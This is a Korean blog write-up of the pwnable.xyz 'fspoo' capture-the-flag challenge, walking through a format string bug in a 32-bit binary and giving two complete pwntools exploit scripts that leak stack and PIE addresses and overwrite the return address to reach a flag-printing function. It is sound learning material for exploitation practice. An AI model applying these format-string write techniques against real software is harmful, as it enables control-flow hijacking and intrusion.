tmxklab

[Pwnable.xyz] fspoo 본문

War Game/Pwnable.xyz

[Pwnable.xyz] fspoo

tmxk4221 2020. 4. 23. 20:17

1. 문제

nc svc.pwnable.xyz 30010

 

1) 문제 확인

 

2) 함수 확인

 

2-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(&argc);
  printf("Name: ");
  read(0, &cmd[48], 0x1Fu);
  vuln();
  return 0;
}

- cmd[48]에 입력 값을 받고 vuln()을 실행

 

2-2) vuln()

unsigned int vuln()
{
  int v1; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  while ( 1 )
  {
    while ( 1 )
    {
      printf(&cmd[32]);
      puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit.");
      printf("> ");
      __isoc99_scanf("%d", &v1);
      getchar();
      if ( (unsigned __int8)v1 != 1 )
        break;
      printf("Name: ");
      read(0, &cmd[48], 0x1Fu);
    }
    if ( (signed int)(unsigned __int8)v1 <= 1 )
      break;
    if ( (unsigned __int8)v1 == 2 )
    {
      sprintf(cmd, (const char *)&unk_B7B, &cmd[48]);
    }
    else if ( (unsigned __int8)v1 == 3 )
    {
      puts(cmd);
    }
    else
    {
LABEL_12:
      puts("Invalid");
    }
  }
  if ( (_BYTE)v1 )
    goto LABEL_12;
  return __readgsdword(0x14u) ^ v2;
}

- v1의 값에 따라 1 ~ 3번 메뉴 실행

- printf(&cmd[32]) : 이 부분에 포맷을 지정하지 않았으므로 FSB취약점 발생

- 1번 메뉴는 cmd[48]에 이름을 입력 받음(31bytes까지)

- 2번 메뉴는 sprintf()실행

- 3번 메뉴는 cmd버퍼에 담긴 내용 표준 출력

int sprintf(char *bufferconst char *format, ...)

함수 역할 : buffer 변수에 포맷에 따라 만들어진 문자열 저장(버퍼 사이즈를 지정하지 않았으므로 취약)
char *buffer : 버퍼 변수
const char *format : 포맷

 

2-3) win()

int win()
{
  return system("cat flag");
}

 

 

3) 메모리 보호기법 및 파일 정보 확인

- 이번에는 32bit elf파일이며 모든 메모리 보호기법이 걸려있다.- 이번에는 32bit elf파일이며 모든 메모리 보호기법이 걸려있다.

 


 

2. 접근방법

1) vuln()디버깅

위에서 살펴봤던 vuln()의 printf()와 sprintf()에서 취약점이 발생하는 것을 확인하였다.

차근차근 디버깅하면서 확인해보자

 

1-1) printf(cmd[32])

- vuln()에서 while문 처음 시작했을 때 printf()를 실행시키는 부분이다.

- 현재 파라미터로 eax값이 들어가며 eax는 아이다에서 확인했던 cmd+32의 주소 값이다.

 

1-2) 메뉴1 - read함수

- 이 부분의 실행할 때 cmd[48]에 31bytes까지 입력을 넣을 수 있다.

- 입력 값으로 "A"*10 + "B"*10을 넣어보자

- cmd+48부터 값이 잘 들어가 있는 것을 확인할 수 있다.

 

1-3) 메뉴 2 - sprintf함수

- cmd에 unk_B7B형식에 따라 cmd[48]의 값이 저장된다.

- 이 때, unk_B7B는 다음과 같다.

- 더 자세히 확인하기 위해 디버깅을 해본다.

- 똥 그림과 %s 서식지정문자를 파라미터로 넘겨준다.

 

최종적으로 cmd배열의 변화는 다음과 같다.

- cmd : "💩 %s"[7bytes] + cmd[32][11bytes] → 총 28bytes가 들어가 있다.

- cmd[32] : "menu"[6bytes] → printf()할 때 사용됨

- cmd[48] : 입력 값으로 11bytes들어가 있음 → name값 입력시 사용됨

 

그런데 cmd+48부터 cmd+79까지 name값을 입력받을 수 있지만

2번 메뉴를 선택했을 경우 cmd[48]부터 cmd[79]까지 31bytes와 unk_B7B의 7bytes까지 포함해서 총 38bytes가 cmd에 저장된다.

 

2) 확인

1번 메뉴를 통해 cmd[48]에 31bytes만큼의 더미 값을 2번 메뉴를 실행시켰을 때

- cmd 총38bytes가 들어가게 되면서 원래 cmd+32에 존재하는 "Menu:"문자열이 사라지고 덮어씌어지게 되었다.

- 이제 처음 while문의 printf()를 실행시키면 cmd+32에 저장된 "DDDD"가 출력된다.

- 이 부분에서 FSB취약점이 발생한다.

 

이제 FSB를 활용하여 vuln() ret의 값을 변조하여 win()의 주소 값을 넣으면 된다.

 

3) 결론

- printf(cmd[32])에 발생하는 FSB를 활용하여 vuln()의 ret를 win()주소로 변경

- 그러기 위해선 준비물로 vuln()의 ret주소 값과 win()의 주소 값이 필요

 


 

3. 풀이

1) vuln()의 ret주소 찾기

참고로 FSB를 진행하기 위해서 while문 첫 번째 printf()를 실행하기 전 ESP의 기준으로 확인해봐야 한다.

- vuln() EBP : 0xffffd0e8 → ESP로부터 10번 이동(%10p)

- vuln() RET : 0xffffd0ec → 0x56555a77 → ESP로부터 11번 이동(%11p)

- 0x56555a77<main+79>

 

2) win()주소 값 찾기

PIE가 걸려있으므로 base주소와 offset을 가지고 win()주소를 구해야 한다.

- offset은 아이다에서 확인할 수 있다.

base주소를 구하기 위해서 RET에 있는 0x56555a77<main+79>의 값을 가지고 활용할 것이다.

main함수의 offset은 a28이며, <main+79>에서의 offset은 a77이다. 따라서 리크된 주소에 a77만큼 빼주면 base주소를 얻을 수 있을 것이다.

 

- base address = <main+79>-0xa77

 

base주소를 구했으므로 각 함수의 offset만 더해주면 실제 함수의 주소 값을 얻을 수 있을 것이다.

 

3) 문제점(cmd[32])

현재 FSB를 활용할 수 있는 범위는 6bytes이므로 활용범위가 적다.

 

3-1) cmd구조 및 널 값 제거 방법

- 빨간색 박스 : "💩 %s"

- 회색 박스 : sprintf(cmd, unkB7B, cmd[48])실행 시 입력 가능한 버퍼

- 주황색 박스 : printf(cmd[32])실행 시 출력되는 버퍼

- 파란색 박스 : read(0, cmd[48], 31)실행 시 입력 가능한 버퍼

 

위 그림에서 보면 총 6bytes만 사용할 수 있는데 그 이유는 cmd+38 ~ cmd+47까지 0x0으로 세팅되어 있기 때문이다.

 

따라서, 이 부분을 제거하도록 하자

제거하는 방법은 다음과 같다.

1. cmd+38 ~ cmd+47의 주소 값을 스택에 저장한다.(v1변수에 저장)

2. printf()를 활용하여 v1변수에 저장된 cmd주소에 값을 넣는다.

 

v1변수를 통해 스택에 값을 저장하는 이유는 값을 입력할 수 있는 부분은 v1변수밖에 없으며, if문에서 하위 1byte만 가지고 검사를 하기 때문이다.

- 하위 1bytes만 가지고 검사하므로 나머지 상위 3bytes에 어떤 값이 들어와도 상관없다.

 

3-2) v1변수의 위치

printf()에서 esp기준으로 v1변수의 위치는 다음과 같다.

- v1[ebp-0x10]

- esp로부터 6번째에 존재한다.

 

이제 cmd+38 ~ cmd+47에 값을 넣어서 확인해보자

(참고로 cmd+34 ~ cmd+37에 미리 "%6$n"문자열을 삽입해야하지만 그렇게 되면 에러가 발생한다.)

input : dummy[27bytes] + %6$n[4bytes]

- 값이 잘 들어간 것을 확인할 수 있다.

 

- printf()를 실행하면 "%6$n" 으로 인해 v1변수에 들어있는 0x2를 주소 값으로 여겨 이 주소 앞에 2bytes를 저장한다.(2bytes인 이유는 cmd+32 ~ cmd+37에 들어있는 값은 "CC" + "%6$n"이며%n이 나오기 전까지 나온 문자열의 개수(C가 2개니깐 2bytes)를 값으로 판단하므로)

 

 

 

따라서, 에러를 방지하기 위해 임시로 쓸 공간을 찾아서 쓰면 될 것이다.

- 0x56557000 ~ 0x56558000 범위에 주소 값을 사용

 

테스트)

input값으로 0x56557001을 주었을 때

- 1byte만 읽어 메뉴 1번을 실행한다.

- %6$n을 저장하고 다시 0x56557002을 입력하여 메뉴 2번을 실행했을 때

- printf가 실행되면서 0x56557002가 저장되는 것을 확인할 수 있다.

 

이제, cmd+38 ~ cmd+47까지 널 바이트를 위와 같이 제거하면 된다.

(참고로, base_address + cmd_address + (38 ~ 47)을 v1변수에 저장하게 되면 앞에 1byte, 즉, 38~47만 읽기 때문에 Invaild문자열이 출력되면서 다시 while문 처음으로 돌아가 printf가 실행되므로 신경안써도 된다.)

 

결과)

- cmd+38 ~ cmd+47까지 0x2로 채워지는 것을 확인할 수 있다.

 

4) vuln() RET에 win() address 삽입

이제 필요한 것들은 다 준비되어 있다.

마지막으로 FSB를 통해 vuln() RET에 win() address만 삽입하면 된다.

지금까지 상태를 확인해보면

- cmd+32 ~ cmd+47까지 "AA%6$n2222222222"가 들어가 있다.

- 다음 printf(cmd[32])에서는 문자열을 읽다가 널 바이트가 존재하는 cmd+79까지 읽게 될 것이다.

- 따라서, cmd+48부터 win() addr을 삽입하는 FSB를 실행해야 한다.

 

4-1) vuln() RET에 win() address 삽입 과정

  1. v1변수에 vuln() RET address를 삽입한다.
  2. cmd[48]에 %c와 %n을 활용하여 win() address의 값을 v1변수에 있는 vuln() RET address에 삽입한다.(이 때, win() address를 2bytes씩 나눠서 RET에 삽입해야 한다.)

참고) win() address를 2bytes씩 나눠서 삽입하는 이유

현재 elf파일은 32bit이며 x86시스템에서 작동한다.

win() address가 4bytes이며 한번에 넣으려면 자릿수가 8개가 필요하다

ex) win() address : 0x565559fd

 

하지만, 0x565559fd의 정수 값이 x86시스템에서 지정할 수 없는 크기 때문에 반반씩 나눠서 삽입해야한다.

ex win()_high_addr : 0x5655 / win()_low_addr : 0x59fd

 

4-2) payload 구성

Payload구성은 다음과 같다.

  1. cmd[48]에 삽입하는 payload :

 

%[win_addr - 12]c%6$n\0x00

 

- win_addr에 12를 빼주는 이유 : %win_addr앞에 출력된 문자가 총 12개이므로 → AA2222222222[12bytes],

- 마지막에 널 바이트를 붙이는 이유 : cmd[32]부터 널바이트가 존재하는 cmd[79]까지 읽을 필요가 없기 떄문

 

  2. v1변수에 삽입하는 payload :

 

vuln_ret_address - 0x100000000

 

- 0x100000000을 빼주는 이유 : 만약에 vuln() RET address가 0xfffffd2c이면 십진수로 4,294,966,572이며 x86시스템에서 적용하기 어려우므로 쉽게 0x100000000을 빼주면 Integer Overflow가 발생하여 0xffff ffff ffff fd2c로 바뀌고 십진수로 -724로 바뀌게 되며 주소 값은 그대로 0xfffffd2c에 삽입하게 된다.

 

5) 익스 코드 작성

from pwn import *

context.log_level="debug"

p = remote("svc.pwnable.xyz", 30010)
#p = process('./challenge', aslr=False)
#gdb.attach(p, """ b* 0x565558fc""")
#e = ELF('./challenge')

vuln_offset = 0xa77
win_offset = 0x9fd
cmd_offset = 0x2040

#1 Get Vuln() RET address
p.sendafter('Name: ', 'A'*25+'%10$p')
p.sendlineafter('> ', '2')
vuln_sfp = int(p.recv(10), 16)
vuln_ret = vuln_sfp - 0xc

#2 Get Base Address & function Address
p.sendlineafter('> ', '1')
p.sendafter('Name: ', "A"*25+"%11$p")
p.sendlineafter('> ', '2')
ret = int(p.recv(10), 16)

base_addr = ret - vuln_offset
win_addr = base_addr + win_offset
cmd_addr = base_addr + cmd_offset

print("[log*] win addr : "+ hex(win_addr))
print("[log*] cmd addr : "+ hex(cmd_addr))
print("[log*] vuln_ret addr : "+ hex(vuln_ret))

# tmp writable area
tmp_1 = base_addr + 0x2001
tmp_2 = base_addr + 0x2002

#3 Prevent Error & Save "%6$n"
p.sendlineafter('> ', '1')
p.sendafter('Name: ', 'A'*27+'%6$n')
p.sendlineafter('> ', str(tmp_2))

#4 Remove null byte(cmd+38~47)
for i in range(10):
    p.sendlineafter('> ', str(cmd_addr+38+i))

# win() address 2byte 
win_addr_a = win_addr & 0xffff # win() High Address
win_addr_b = (win_addr >> 16) & 0xffff # win() Low Address
    
#5.1 Insert win() High address
payload = "%"+str(win_addr_a-12)+"c%6$n\x00"
p.sendlineafter('> ', str(tmp_1))
p.recvuntil('Name: ')
p.send(payload)
p.sendlineafter('> ', str(vuln_ret-0x100000000))

#5.2 Insert win() Low address
payload = "%"+str(win_addr_b-12)+"c%6$n\x00"
p.sendlineafter('> ', str(tmp_1))
p.recvuntil('Name: ')
p.send(payload)
p.sendlineafter('> ', str(vuln_ret-0x100000000+2))

p.sendlineafter('> ', '0')

p.interactive()

 

6) 공격 실행

 


 

4. 몰랐던 개념

%hn, %hhn을 사용하면 주소를 나눌 필요없이 더 간편하게 삽입할 수 있다.

 


 

5. 다른 풀이

문제를 풀고나서 다른 문제 풀이가 있는 지 보던 중 굉장히 참신한 풀이방법을 발견하게 되었다.

 

[pwnable.xyz] fspoo

[pwnable.xyz] fspoo Date @Jan 30, 2020 Property Tags report 1. 문제 1) mitigation 확인 여태 64비트 문제였는데, 이번에는 특이하게 32비트이다. 보호기법은 엥간하게 다 걸려있다 2) 문제 확인 이름을 입력..

wogh8732.tistory.com

 

다음은 win()의 어셈코드이다.

win()의 프롤로그가 끝난 바로 다음에 0xA00에 push ebx가 보일 것이다.

그리고 main함수의 offset은

0xA28이다.

 

따라서 win함수의 프롤로그 다음의 0xA00주소와 main함수의 offset주소와 1byte차이가 나는 것을 알 수 있다.

 

전에 풀이에서 vuln함수의 RET에 0x56555a77값이 존재하는 것을 확인했다.

vuln()함수가 종료되고 다음 인스트럭션을 가리키는 main+79인 것을 알 수 있다.

따라서, 저 부분에 0x56555a77대신에 1byte를 변조하여 0x56555a00으로 만들게 된다면 win함수가 동작할 것이다. (참고로 win()의 프롤로그는 flag만 출력하고 종료하면 되기 떄문에 프롤로그는 신경안써도 된다.)

 

그러면 0x00으로 만들기 위해서 해당 주소 값의 v1변수에 스택에 저장한 뒤 %6$n을 사용하여 바꿔주면 될 것이다.

 

위 그림의 참고하였을 때 SFP와 RET는 다음과 같다.

vuln() SFP:

0xffffd0e8 : 0xf8

0xffffd0e9 : 0xd0

0xffffd0ea : 0xff

0xffffd0eb : 0xff

vuln() RET:

0xffffd0ec : 0x77

0xffffd0ed : 0x5a

0xffffd0ee : 0x55

0xffffd0ef : 0x56

 

위 0xffffd0ec주소에 존재하는 0x77을 0x00만 바꾸면 되며 4bytes씩 삽입할 수 있는 것을 감안하면

0xffffd0e9에 0x00 00 00 01(십진수로 1)을 삽입하면

0xffffd0e9 : 0x01 / 0xffffd0ea : 0x00 / 0xffffd0eb : 0x00 / 0xffffd0ec : 0x00

위와 같이 변할 것이다.

디버깅을 통해 확인해보자

 

1) SFP에 저장된 값을 통해 vuln() RET의 하위 1byte주소 leak

vuln() SFP에 저장된 값은 0xffffd0f8이며 main()의 SFP를 의미한다.

그리고 vuln() SFP는 0xffffd0e8이다.

주소 값은 변해도 offset은 변하지 않는 것을 생각하면 main()의 SFP를 통해 vuln()의 SFP주소를 구할 수 있으며 따라서 vuln()의 RET주소도 구할 수 있다.

 

0x00 00 00 01을 삽입하는 주소는

0xffffd0e9이며 0x00 00 00 01이 순차적으로 들어가게 되면 다음과 같이 변할 것이다.

 

vuln() SFP:

0xffffd0e8 : 0xf8

0xffffd0e9 : 0x01

0xffffd0ea : 0x00

0xffffd0eb : 0x00

vuln() RET:

0xffffd0ec : 0x00

0xffffd0ed : 0x5a

0xffffd0ee : 0x55

0xffffd0ef : 0x56

 

따라서, 0xffffd0e9를 구하기 위해서 리크된 주소(0xffffd0f8)에서 0xf를 빼주면 구할 수 있다.

 

2) 익스코드

from pwn import *

context.log_level="debug"

p = remote("svc.pwnable.xyz", 30010)
#p = process('./challenge', aslr=False)
#gdb.attach(p, """ b* 0x565558fc""")
#e = ELF('./challenge')

vuln_offset = 0xa77

#1 Get Vuln() RET address
p.sendafter('Name: ', 'A'*25+'%10$p')
p.sendlineafter('> ', '2')
vuln_sfp = int(p.recv(10), 16)
vuln_ret = vuln_sfp - 0xf

#2 Get Base Address & function Address
p.sendlineafter('> ', '1')
p.sendafter('Name: ', "A"*25+"%11$p")
p.sendlineafter('> ', '2')
ret = int(p.recv(10), 16)

base_addr = ret - vuln_offset

print("[log*] vuln_ret addr : "+ hex(vuln_ret))

# tmp writable area
tmp_1 = base_addr + 0x2001
tmp_2 = base_addr + 0x2002

#3 Prevent Error & Save "%6$n"
p.sendlineafter('> ', '1')
p.sendafter('Name: ', 'A'*26+'%6$n')
p.sendlineafter('> ', str(tmp_2))
print("tmp_2 addr : "+str(tmp_2))
print("vuln ret : "+str(vuln_ret))

#4 Insert vuln() RET address(var v1)
p.sendlineafter('> ', '-'+str(0x100000000-(vuln_ret)))

#5 Exit vuln()
p.sendlineafter('> ', '0')

p.interactive()

 

짧게 느낀점....

 

이번 문제에서 엄청 삽일을 많이 했던만큼 FSB에 대해서 확실히 알 수 있는 계기가 된듯하다... 

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] J-U-M-P  (0) 2020.05.03
[Pwnable.xyz] SUS  (0) 2020.04.23
[Pwnable.xyz] Game  (0) 2020.04.13
[Pwnable.xyz] I33t-ness  (0) 2020.04.09
[Pwnable.xyz] Jmp_table  (0) 2020.04.09
Comments